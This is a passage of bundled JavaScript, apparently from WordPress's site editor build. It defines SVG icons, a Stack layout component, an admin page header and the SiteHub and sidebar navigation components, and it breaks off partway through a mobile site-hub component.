2400 var scheduled_default = /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(import_primitives55.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(import_primitives55.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z" }) });
2401
2402 // packages/icons/build-module/library/search.mjs
2403 var import_primitives56 = __toESM(require_primitives(), 1);
2404 var import_jsx_runtime57 = __toESM(require_jsx_runtime(), 1);
2405 var search_default = /* @__PURE__ */ (0, import_jsx_runtime57.jsx)(import_primitives56.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime57.jsx)(import_primitives56.Path, { d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z" }) });
2406
2407 // packages/icons/build-module/library/seen.mjs
2408 var import_primitives57 = __toESM(require_primitives(), 1);
2409 var import_jsx_runtime58 = __toESM(require_jsx_runtime(), 1);
2410 var seen_default = /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(import_primitives57.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(import_primitives57.Path, { d: "M3.99961 13C4.67043 13.3354 4.6703 13.3357 4.67017 13.3359L4.67298 13.3305C4.67621 13.3242 4.68184 13.3135 4.68988 13.2985C4.70595 13.2686 4.7316 13.2218 4.76695 13.1608C4.8377 13.0385 4.94692 12.8592 5.09541 12.6419C5.39312 12.2062 5.84436 11.624 6.45435 11.0431C7.67308 9.88241 9.49719 8.75 11.9996 8.75C14.502 8.75 16.3261 9.88241 17.5449 11.0431C18.1549 11.624 18.6061 12.2062 18.9038 12.6419C19.0523 12.8592 19.1615 13.0385 19.2323 13.1608C19.2676 13.2218 19.2933 13.2686 19.3093 13.2985C19.3174 13.3135 19.323 13.3242 19.3262 13.3305L19.3291 13.3359C19.3289 13.3357 19.3288 13.3354 19.9996 13C20.6704 12.6646 20.6703 12.6643 20.6701 12.664L20.6697 12.6632L20.6688 12.6614L20.6662 12.6563L20.6583 12.6408C20.6517 12.6282 20.6427 12.6108 20.631 12.5892C20.6078 12.5459 20.5744 12.4852 20.5306 12.4096C20.4432 12.2584 20.3141 12.0471 20.1423 11.7956C19.7994 11.2938 19.2819 10.626 18.5794 9.9569C17.1731 8.61759 14.9972 7.25 11.9996 7.25C9.00203 7.25 6.82614 8.61759 5.41987 9.9569C4.71736 10.626 4.19984 11.2938 3.85694 11.7956C3.68511 12.0471 3.55605 12.2584 3.4686 12.4096C3.42484 12.4852 3.39142 12.5459 3.36818 12.5892C3.35656 12.6108 3.34748 12.6282 3.34092 12.6408L3.33297 12.6563L3.33041 12.6614L3.32948 12.6632L3.32911 12.664C3.32894 12.6643 3.32879 12.6646 3.99961 13ZM11.9996 16C13.9326 16 15.4996 14.433 15.4996 12.5C15.4996 10.567 13.9326 9 11.9996 9C10.0666 9 8.49961 10.567 8.49961 12.5C8.49961 14.433 10.0666 16 11.9996 16Z" }) });
2411
2412 // packages/icons/build-module/library/styles.mjs
2413 var import_primitives58 = __toESM(require_primitives(), 1);
2414 var import_jsx_runtime59 = __toESM(require_jsx_runtime(), 1);
2415 var styles_default = /* @__PURE__ */ (0, import_jsx_runtime59.jsx)(import_primitives58.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime59.jsx)(import_primitives58.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z" }) });
2416
2417 // packages/icons/build-module/library/symbol-filled.mjs
2418 var import_primitives59 = __toESM(require_primitives(), 1);
2419 var import_jsx_runtime60 = __toESM(require_jsx_runtime(), 1);
2420 var symbol_filled_default = /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_primitives59.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_primitives59.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
2421
2422 // packages/icons/build-module/library/symbol.mjs
2423 var import_primitives60 = __toESM(require_primitives(), 1);
2424 var import_jsx_runtime61 = __toESM(require_jsx_runtime(), 1);
2425 var symbol_default = /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(import_primitives60.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(import_primitives60.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
2426
2427 // packages/icons/build-module/library/tag.mjs
2428 var import_primitives61 = __toESM(require_primitives(), 1);
2429 var import_jsx_runtime62 = __toESM(require_jsx_runtime(), 1);
2430 var tag_default = /* @__PURE__ */ (0, import_jsx_runtime62.jsx)(import_primitives61.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime62.jsx)(import_primitives61.Path, { d: "M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z" }) });
2431
2432 // packages/icons/build-module/library/trash.mjs
2433 var import_primitives62 = __toESM(require_primitives(), 1);
2434 var import_jsx_runtime63 = __toESM(require_jsx_runtime(), 1);
2435 var trash_default = /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_primitives62.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_primitives62.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z" }) });
2436
2437 // packages/icons/build-module/library/unseen.mjs
2438 var import_primitives63 = __toESM(require_primitives(), 1);
2439 var import_jsx_runtime64 = __toESM(require_jsx_runtime(), 1);
2440 var unseen_default = /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(import_primitives63.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(import_primitives63.Path, { d: "M20.7 12.7s0-.1-.1-.2c0-.2-.2-.4-.4-.6-.3-.5-.9-1.2-1.6-1.8-.7-.6-1.5-1.3-2.6-1.8l-.6 1.4c.9.4 1.6 1 2.1 1.5.6.6 1.1 1.2 1.4 1.6.1.2.3.4.3.5v.1l.7-.3.7-.3Zm-5.2-9.3-1.8 4c-.5-.1-1.1-.2-1.7-.2-3 0-5.2 1.4-6.6 2.7-.7.7-1.2 1.3-1.6 1.8-.2.3-.3.5-.4.6 0 0 0 .1-.1.2s0 0 .7.3l.7.3V13c0-.1.2-.3.3-.5.3-.4.7-1 1.4-1.6 1.2-1.2 3-2.3 5.5-2.3H13v.3c-.4 0-.8-.1-1.1-.1-1.9 0-3.5 1.6-3.5 3.5s.6 2.3 1.6 2.9l-2 4.4.9.4 7.6-16.2-.9-.4Zm-3 12.6c1.7-.2 3-1.7 3-3.5s-.2-1.4-.6-1.9L12.4 16Z" }) });
2441
2442 // packages/icons/build-module/library/upload.mjs
2443 var import_primitives64 = __toESM(require_primitives(), 1);
2444 var import_jsx_runtime65 = __toESM(require_jsx_runtime(), 1);
2445 var upload_default = /* @__PURE__ */ (0, import_jsx_runtime65.jsx)(import_primitives64.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime65.jsx)(import_primitives64.Path, { d: "M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z" }) });
2446
2447 // packages/icons/build-module/library/verse.mjs
2448 var import_primitives65 = __toESM(require_primitives(), 1);
2449 var import_jsx_runtime66 = __toESM(require_jsx_runtime(), 1);
2450 var verse_default = /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(import_primitives65.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(import_primitives65.Path, { d: "M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z" }) });
2451
2452 // packages/icons/build-module/library/wordpress.mjs
2453 var import_primitives66 = __toESM(require_primitives(), 1);
2454 var import_jsx_runtime67 = __toESM(require_jsx_runtime(), 1);
2455 var wordpress_default = /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(import_primitives66.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "-2 -2 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(import_primitives66.Path, { d: "M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z" }) });
2456
2457 // packages/ui/build-module/stack/stack.mjs
2458 var import_element5 = __toESM(require_element(), 1);
2459 if (typeof document !== "undefined" && !document.head.querySelector("style[data-wp-hash='71d20935c2']")) {
2460 const style = document.createElement("style");
2461 style.setAttribute("data-wp-hash", "71d20935c2");
2462 style.appendChild(document.createTextNode("@layer wp-ui-utilities, wp-ui-components, wp-ui-compositions, wp-ui-overrides;@layer wp-ui-components{._19ce0419607e1896__stack{display:flex}}"));
2463 document.head.appendChild(style);
2464 }
2465 var style_default2 = { "stack": "_19ce0419607e1896__stack" };
2466 var gapTokens = {
2467 xs: "var(--wpds-dimension-gap-xs, 4px)",
2468 sm: "var(--wpds-dimension-gap-sm, 8px)",
2469 md: "var(--wpds-dimension-gap-md, 12px)",
2470 lg: "var(--wpds-dimension-gap-lg, 16px)",
2471 xl: "var(--wpds-dimension-gap-xl, 24px)",
2472 "2xl": "var(--wpds-dimension-gap-2xl, 32px)",
2473 "3xl": "var(--wpds-dimension-gap-3xl, 40px)"
2474 };
2475 var Stack = (0, import_element5.forwardRef)(function Stack2({ direction, gap, align, justify, wrap, render: render4, ...props }, ref) {
2476 const style = {
2477 gap: gap && gapTokens[gap],
2478 alignItems: align,
2479 justifyContent: justify,
2480 flexDirection: direction,
2481 flexWrap: wrap
2482 };
2483 const element = useRender({
2484 render: render4,
2485 ref,
2486 props: mergeProps(props, { style, className: style_default2.stack })
2487 });
2488 return element;
2489 });
2490
2491 // packages/admin-ui/build-module/page/sidebar-toggle-slot.mjs
2492 var import_components = __toESM(require_components(), 1);
2493 var { Fill: SidebarToggleFill, Slot: SidebarToggleSlot } = (0, import_components.createSlotFill)("SidebarToggle");
2494
2495 // packages/admin-ui/build-module/page/header.mjs
2496 var import_jsx_runtime68 = __toESM(require_jsx_runtime(), 1);
2497 function Header({
2498 headingLevel = 1,
2499 breadcrumbs,
2500 badges,
2501 title,
2502 subTitle,
2503 actions,
2504 showSidebarToggle = true
2505 }) {
2506 const HeadingTag = `h${headingLevel}`;
2507 return /* @__PURE__ */ (0, import_jsx_runtime68.jsxs)(Stack, { direction: "column", className: "admin-ui-page__header", children: [
2508 /* @__PURE__ */ (0, import_jsx_runtime68.jsxs)(Stack, { direction: "row", justify: "space-between", gap: "sm", children: [
2509 /* @__PURE__ */ (0, import_jsx_runtime68.jsxs)(Stack, { direction: "row", gap: "sm", align: "center", justify: "start", children: [
2510 showSidebarToggle && /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(
2511 SidebarToggleSlot,
2512 {
2513 bubblesVirtually: true,
2514 className: "admin-ui-page__sidebar-toggle-slot"
2515 }
2516 ),
2517 title && /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(HeadingTag, { className: "admin-ui-page__header-title", children: title }),
2518 breadcrumbs,
2519 badges
2520 ] }),
2521 /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(
2522 Stack,
2523 {
2524 direction: "row",
2525 gap: "sm",
2526 style: { width: "auto", flexShrink: 0 },
2527 className: "admin-ui-page__header-actions",
2528 align: "center",
2529 children: actions
2530 }
2531 )
2532 ] }),
2533 subTitle && /* @__PURE__ */ (0, import_jsx_runtime68.jsx)("p", { className: "admin-ui-page__header-subtitle", children: subTitle })
2534 ] });
2535 }
2536
2537 // packages/admin-ui/build-module/page/index.mjs
2538 var import_jsx_runtime69 = __toESM(require_jsx_runtime(), 1);
2539 function Page({
2540 headingLevel,
2541 breadcrumbs,
2542 badges,
2543 title,
2544 subTitle,
2545 children,
2546 className,
2547 actions,
2548 hasPadding = false,
2549 showSidebarToggle = true
2550 }) {
2551 const classes = clsx_default("admin-ui-page", className);
2552 return /* @__PURE__ */ (0, import_jsx_runtime69.jsxs)(navigable_region_default, { className: classes, ariaLabel: title, children: [
2553 (title || breadcrumbs || badges) && /* @__PURE__ */ (0, import_jsx_runtime69.jsx)(
2554 Header,
2555 {
2556 headingLevel,
2557 breadcrumbs,
2558 badges,
2559 title,
2560 subTitle,
2561 actions,
2562 showSidebarToggle
2563 }
2564 ),
2565 hasPadding ? /* @__PURE__ */ (0, import_jsx_runtime69.jsx)("div", { className: "admin-ui-page__content has-padding", children }) : children
2566 ] });
2567 }
2568 Page.SidebarToggleFill = SidebarToggleFill;
2569 var page_default2 = Page;
2570
2571 // packages/edit-site/build-module/components/layout/index.mjs
2572 var import_components8 = __toESM(require_components(), 1);
2573 var import_compose2 = __toESM(require_compose(), 1);
2574 var import_i18n8 = __toESM(require_i18n(), 1);
2575 var import_element14 = __toESM(require_element(), 1);
2576 var import_editor6 = __toESM(require_editor(), 1);
2577 var import_router6 = __toESM(require_router(), 1);
2578 var import_plugins2 = __toESM(require_plugins(), 1);
2579 var import_notices = __toESM(require_notices(), 1);
2580 var import_data13 = __toESM(require_data(), 1);
2581 var import_preferences3 = __toESM(require_preferences(), 1);
2582
2583 // packages/edit-site/build-module/components/site-hub/index.mjs
2584 var import_data5 = __toESM(require_data(), 1);
2585 var import_components3 = __toESM(require_components(), 1);
2586 var import_i18n3 = __toESM(require_i18n(), 1);
2587 var import_core_data4 = __toESM(require_core_data(), 1);
2588 var import_html_entities = __toESM(require_html_entities(), 1);
2589 var import_element7 = __toESM(require_element(), 1);
2590 var import_commands = __toESM(require_commands(), 1);
2591 var import_keycodes = __toESM(require_keycodes(), 1);
2592 var import_url = __toESM(require_url(), 1);
2593 var import_router = __toESM(require_router(), 1);
2594
2595 // packages/edit-site/build-module/components/site-icon/index.mjs
2596 var import_data4 = __toESM(require_data(), 1);
2597 var import_components2 = __toESM(require_components(), 1);
2598 var import_i18n2 = __toESM(require_i18n(), 1);
2599 var import_core_data3 = __toESM(require_core_data(), 1);
2600 var import_jsx_runtime70 = __toESM(require_jsx_runtime(), 1);
2601 function SiteIcon({ className }) {
2602 const { isRequestingSite, siteIconUrl } = (0, import_data4.useSelect)((select3) => {
2603 const { getEntityRecord } = select3(import_core_data3.store);
2604 const siteData = getEntityRecord("root", "__unstableBase", void 0);
2605 return {
2606 isRequestingSite: !siteData,
2607 siteIconUrl: siteData?.site_icon_url
2608 };
2609 }, []);
2610 if (isRequestingSite && !siteIconUrl) {
2611 return /* @__PURE__ */ (0, import_jsx_runtime70.jsx)("div", { className: "edit-site-site-icon__image" });
2612 }
2613 const icon = siteIconUrl ? /* @__PURE__ */ (0, import_jsx_runtime70.jsx)(
2614 "img",
2615 {
2616 className: "edit-site-site-icon__image",
2617 alt: (0, import_i18n2.__)("Site Icon"),
2618 src: siteIconUrl
2619 }
2620 ) : /* @__PURE__ */ (0, import_jsx_runtime70.jsx)(
2621 import_components2.Icon,
2622 {
2623 className: "edit-site-site-icon__icon",
2624 icon: wordpress_default,
2625 size: 48
2626 }
2627 );
2628 return /* @__PURE__ */ (0, import_jsx_runtime70.jsx)("div", { className: clsx_default(className, "edit-site-site-icon"), children: icon });
2629 }
2630 var site_icon_default = SiteIcon;
2631
2632 // packages/edit-site/build-module/components/sidebar/index.mjs
2633 var import_element6 = __toESM(require_element(), 1);
2634 var import_dom = __toESM(require_dom(), 1);
2635 var import_jsx_runtime71 = __toESM(require_jsx_runtime(), 1);
2636 var SidebarNavigationContext = (0, import_element6.createContext)(() => {
2637 });
2638 SidebarNavigationContext.displayName = "SidebarNavigationContext";
2639 function focusSidebarElement(el, direction, focusSelector) {
2640 let elementToFocus;
2641 if (direction === "back" && focusSelector) {
2642 elementToFocus = el.querySelector(focusSelector);
2643 }
2644 if (direction !== null && !elementToFocus) {
2645 const [firstTabbable] = import_dom.focus.tabbable.find(el);
2646 elementToFocus = firstTabbable ?? el;
2647 }
2648 elementToFocus?.focus();
2649 }
2650 function createNavState() {
2651 let state = {
2652 direction: null,
2653 focusSelector: null
2654 };
2655 return {
2656 get() {
2657 return state;
2658 },
2659 navigate(direction, focusSelector = null) {
2660 state = {
2661 direction,
2662 focusSelector: direction === "forward" && focusSelector ? focusSelector : state.focusSelector
2663 };
2664 }
2665 };
2666 }
2667 function SidebarContentWrapper({ children, shouldAnimate }) {
2668 const navState = (0, import_element6.useContext)(SidebarNavigationContext);
2669 const wrapperRef = (0, import_element6.useRef)();
2670 const [navAnimation, setNavAnimation] = (0, import_element6.useState)(null);
2671 (0, import_element6.useLayoutEffect)(() => {
2672 const { direction, focusSelector } = navState.get();
2673 focusSidebarElement(wrapperRef.current, direction, focusSelector);
2674 setNavAnimation(direction);
2675 }, [navState]);
2676 const wrapperCls = clsx_default(
2677 "edit-site-sidebar__screen-wrapper",
2678 /*
2679 * Some panes do not have sub-panes and therefore
2680 * should not animate when clicked on.
2681 */
2682 shouldAnimate ? {
2683 "slide-from-left": navAnimation === "back",
2684 "slide-from-right": navAnimation === "forward"
2685 } : {}
2686 );
2687 return /* @__PURE__ */ (0, import_jsx_runtime71.jsx)("div", { ref: wrapperRef, className: wrapperCls, children });
2688 }
2689 function SidebarNavigationProvider({ children }) {
2690 const [navState] = (0, import_element6.useState)(createNavState);
2691 return /* @__PURE__ */ (0, import_jsx_runtime71.jsx)(SidebarNavigationContext.Provider, { value: navState, children });
2692 }
2693 function SidebarContent({ routeKey, shouldAnimate, children }) {
2694 return /* @__PURE__ */ (0, import_jsx_runtime71.jsx)("div", { className: "edit-site-sidebar__content", children: /* @__PURE__ */ (0, import_jsx_runtime71.jsx)(
2695 SidebarContentWrapper,
2696 {
2697 shouldAnimate,
2698 children
2699 },
2700 routeKey
2701 ) });
2702 }
2703
2704 // packages/edit-site/build-module/components/site-hub/index.mjs
2705 var import_jsx_runtime72 = __toESM(require_jsx_runtime(), 1);
2706 var { useLocation, useHistory } = unlock(import_router.privateApis);
2707 var SiteHub = (0, import_element7.memo)(
2708 (0, import_element7.forwardRef)(({ isTransparent }, ref) => {
2709 const { dashboardLink, homeUrl, siteTitle } = (0, import_data5.useSelect)((select3) => {
2710 const { getSettings: getSettings7 } = unlock(select3(store));
2711 const { getEntityRecord } = select3(import_core_data4.store);
2712 const _site = getEntityRecord("root", "site");
2713 return {
2714 dashboardLink: getSettings7().__experimentalDashboardLink,
2715 homeUrl: getEntityRecord("root", "__unstableBase")?.home,
2716 siteTitle: !_site?.title && !!_site?.url ? (0, import_url.filterURLForDisplay)(_site?.url) : _site?.title
2717 };
2718 }, []);
2719 const { open: openCommandCenter } = (0, import_data5.useDispatch)(import_commands.store);
2720 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)("div", { className: "edit-site-site-hub", children: /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(import_components3.__experimentalHStack, { justify: "flex-start", spacing: "0", children: [
2721 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
2722 "div",
2723 {
2724 className: clsx_default(
2725 "edit-site-site-hub__view-mode-toggle-container",
2726 {
2727 "has-transparent-background": isTransparent
2728 }
2729 ),
2730 children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
2731 import_components3.Button,
2732 {
2733 __next40pxDefaultSize: true,
2734 ref,
2735 href: dashboardLink,
2736 label: (0, import_i18n3.__)("Go to the Dashboard"),
2737 className: "edit-site-layout__view-mode-toggle",
2738 style: {
2739 transform: "scale(0.5333) translateX(-4px)",
2740 // Offset to position the icon 12px from viewport edge
2741 borderRadius: 4
2742 },
2743 children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(site_icon_default, { className: "edit-site-layout__view-mode-toggle-icon" })
2744 }
2745 )
2746 }
2747 ),
2748 /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(import_components3.__experimentalHStack, { children: [
2749 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)("div", { className: "edit-site-site-hub__title", children: /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(
2750 import_components3.Button,
2751 {
2752 __next40pxDefaultSize: true,
2753 variant: "link",
2754 href: homeUrl,
2755 target: "_blank",
2756 children: [
2757 (0, import_html_entities.decodeEntities)(siteTitle),
2758 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(import_components3.VisuallyHidden, {
2759 as: "span",
2760 /* translators: accessibility text */
2761 children: (0, import_i18n3.__)("(opens in a new tab)")
2762 })
2763 ]
2764 }
2765 ) }),
2766 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
2767 import_components3.__experimentalHStack,
2768 {
2769 spacing: 0,
2770 expanded: false,
2771 className: "edit-site-site-hub__actions",
2772 children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
2773 import_components3.Button,
2774 {
2775 size: "compact",
2776 className: "edit-site-site-hub_toggle-command-center",
2777 icon: search_default,
2778 onClick: () => openCommandCenter(),
2779 label: (0, import_i18n3.__)("Open command palette"),
2780 shortcut: import_keycodes.displayShortcut.primary("k")
2781 }
2782 )
2783 }
2784 )
2785 ] })
2786 ] }) });
2787 })
2788 );
2789 var site_hub_default = SiteHub;
2790 var SiteHubMobile = (0, import_element7.memo)(
2791 (0, import_element7.forwardRef)(({ isTransparent }, ref) => {
2792 const { path } = useLocation();
2793 const history = useHistory();
2794 const { navigate } = (0, import_element7.useContext)(SidebarNavigationContext);
2795 const {
2796 dashboardLink,
2797 homeUrl,
2798 siteTitle,
2799 isBlockTheme,
2800 isClassicThemeWithStyleBookSupport: isClassicThemeWithStyleBookSupport2
2801 } = (0, import_data5.useSelect)((select3) => {
2802 const { getSettings: getSettings7 } = unlock(select3(store));
2803 const { getEntityRecord, getCurrentTheme } = select3(import_core_data4.store);
2804 const _site = getEntityRecord("root", "site");
2805 const currentTheme = getCurrentTheme();
2806 const settings2 = getSettings7();
2807 const supportsEditorStyles = currentTheme?.theme_supports["editor-styles"];
2808 const hasThemeJson = settings2.supportsLayout;
2809 return {
2810 dashboardLink: settings2.__experimentalDashboardLink,
2811 homeUrl: getEntityRecord("root", "__unstableBase")?.home,
2812 siteTitle: !_site?.title && !!_site?.url ? (0, import_url.filterURLForDisplay)(_site?.url) : _site?.title,
2813 isBlockTheme: currentTheme?.is_block_theme,
2814 isClassicThemeWithStyleBookSupport: !currentTheme?.is_block_theme && (supportsEditorStyles || hasThemeJson)
2815 };
2816 }, []);
2817 const { open: openCommandCenter } = (0, import_data5.useDispatch)(import_commands.store);
2818 let backPath;
2819 if (path !== "/") {
2820 if (isBlockTheme || isClassicThemeWithStyleBookSupport2) {
2821 backPath = "/";
2822 } else if (path !== "/pattern") {
2823 backPath = "/pattern";
2824 }
2825 }
2826 const backButtonProps = {
2827 href: !!backPath ? void 0 : dashboardLink,
2828 label: !!backPath ? (0, import_i18n3.__)("Go to Site Editor") : (0, import_i18n3.__)("Go to the Dashboard"),
2829 onClick: !!backPath ? () => {
2830 history.navigate(backPath);
2831 navigate("back");
2832 } : void 0
2833 };
2834 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)("div", { className: "edit-site-site-hub", children: /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(import_components3.__experimentalHStack, { justify: "flex-start", spacing: "0", children: [
2835 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
2836 "div",
2837 {
2838 className: clsx_default(
2839 "edit-site-site-hub__view-mode-toggle-container",
2840 {
2841 "has-transparent-background": isTransparent
2842 }
2843 ),
2844 children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
2845 import_components3.Button,
2846 {
2847 __next40pxDefaultSize: true,
2848 ref,
2849 className: "edit-site-layout__view-mode-toggle",
2850 style: {
2851 transform: "scale(0.5)",
2852 borderRadius: 4
2853 },
2854 ...backButtonProps,
2855 children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(site_icon_default, { className: "edit-site-layout__view-mode-toggle-icon" })
2856 }
2857 )
2858 }
2859 ),
2860 /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(import_components3.__experimentalHStack, { children: [
2861 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)("div", { className: "edit-site-site-hub__title", children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
2862 import_components3.Button,
2863 {
2864 __next40pxDefaultSize: true,
2865 variant: "link",
2866 href: homeUrl,
2867 target: "_blank",
2868 label: (0, import_i18n3.__)("View site (opens in a new tab)"),
2869 children: (0, import_html_entities.decodeEntities)(siteTitle)
2870 }
2871 ) }),
2872 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
2873 import_components3.__experimentalHStack,
2874 {
2875 spacing: 0,
2876 expanded: false,
2877 className: "edit-site-site-hub__actions",
2878 children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
2879 import_components3.Button,
2880 {
2881 __next40pxDefaultSize: true,
2882 className: "edit-site-site-hub_toggle-command-center",
2883 icon: search_default,
